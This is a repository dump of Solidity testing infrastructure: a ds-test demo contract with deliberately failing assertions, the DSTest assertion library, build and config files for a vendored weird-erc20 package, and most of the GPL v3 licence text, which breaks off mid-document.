function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.envrc
================================================
eval "$(lorri direnv)"
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.gitattributes
================================================
*.sol linguist-language=Solidity
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.gitignore
================================================
/out
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/.gitmodules
================================================
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/Makefile
================================================
build:
export DAPP_SOLC=solc-0.6.12; dapp build
export DAPP_SOLC=solc-0.7.6; dapp build
export DAPP_SOLC=solc-0.8.6; dapp build
test:
DAPP_SOLC=solc-0.8.6; dapp test
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
